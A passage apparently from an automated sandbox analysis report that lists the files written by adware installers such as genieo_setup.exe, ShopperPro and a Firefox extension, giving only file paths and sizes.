C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\database1_0_0.ej (14 bytes)

The process genieo_setup.exe:3576 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\cmd_close.gif (840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\js\partnerConfig.js (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\2_collecting.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\1_downloading.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\js\partnerConfig.js (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\icon-16-disabled.png (646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-enable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\down1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\collapse.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\genuninstallui.exe (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\genuninstallui.exe (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\text\LicenseAgreement.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\down1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\tray_awaitingMessage.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\conf\partner.properties (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\firefox-bar-24.png (727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\install_icon.ico (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\down2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\complete.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\notification_rgn_image.bmp (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\prep_env_err.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\text.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\GenericApp.icns (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\icon-16-enabled.png (537 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\prep_env.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\down3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\desktop.ico (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\enabled_nav_next.gif (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\css\partner.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\tray_normal.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-disabled_18px.png (914 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\cmd_close.png (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\genieo-16icon-browser-disabled.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\2_collecting.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\redHome.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\partner_uninstall.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\icon-16-disabled.png (646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_next.gif (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\down3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\text\en_text.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn9118.tmp (25714 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\bin\license.exe (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\network_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\hide_notfication_seperator.png (281 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\expand.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\css\partner.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\LicenseAgreement.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\uac_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_next.gif (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\firefox-bar-16.png (586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\enabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-enabled_18px.png (821 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\down2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-disabled_18px.png (914 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\3_mapping.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\favicon.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-enable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\GenericApp.icns (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\install_icon.ico (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\favicon.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\complete.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\conf\partnerBannedList.dat (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd9129.tmp\KillProcDLL.dll (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\conf\partnerBannedList.dat (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\off.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\genieo-16icon-browser-disabled.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\error.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\conf\partner.properties (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\tray_normal.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd9129.tmp\fct.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\fr_text.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_rgn_image.bmp (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\firefox-bar-16.png (586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\css\notify_partner.css (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sethpButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\prep_env.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\uac_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\ru_complete.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\error.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\prep_env_err.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\text\text.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\ru_text.properties (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\dfImg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\1_downloading.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\network_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\en_text.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\desktop.ico (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\fr_complete.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\icon-16-enabled.png (537 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\partner_uninstall.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-disable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-disable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\firefox-bar-24.png (727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\hide_notification.png (165 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-4.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-4.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\3_mapping.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\4_creating.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\4_creating.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\footer_right_logo.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\genieo-16icon-browser.png (537 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-enabled_18px.png (821 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\noItems.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\tray_awaitingMessage.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\off.ico (1 bytes)

The process b26f5a73-8099-47b6-80d1-63be8518ea67-4.exe:3768 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c8ddbcc112c441fa218409da1ae1797a.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9d73d802e7b66d98828afac888b64630.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\edcfcd740bdd8ad0e8b2ea623bfcaf15.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e72676018a651cdf135858ac34180bf7.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ac7feb5d585234098652fdd9dcf88f7c.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1e6fd04298ba2ebc5948562688a837f7.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\df310260f69004640041daf643f0d1a9.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (622 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\81c5a677b2a0eabbe4febf98a13b9c05.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8d1184578afb74ab4a126771b974d8a9.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\faf7ba22a2b59afac2e0eb89cbaf2952.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a2363d0fce9f48f4857cd9bbaa4e0eeb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\39cd9dcbdb2c39f22ac8edef304a7be5.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4b750e3f1c1ac3b032ae9adb31731eaa.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\14c82566b1e540465ed6319e17ffd523.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\dc894b14430cf1b4bfdc513c290534eb.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9f6c0a070245edb6b3cd5917b6b3073c.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\598f269dcfbe971c26704e007be8c813.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9a257dc576cb97bab1419e19aca165dd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\d2eeac3be4810a91956fd1b8969602bc.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8c2678a0d3972242598a3a973645d4ad.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\87d04bcaa4403a636e183d08b3b75167.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\60f3934a87385bfc126f30c7f6bafc5c.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (679 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\feac2085dca1527c4a73d2d5ded63b6e.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
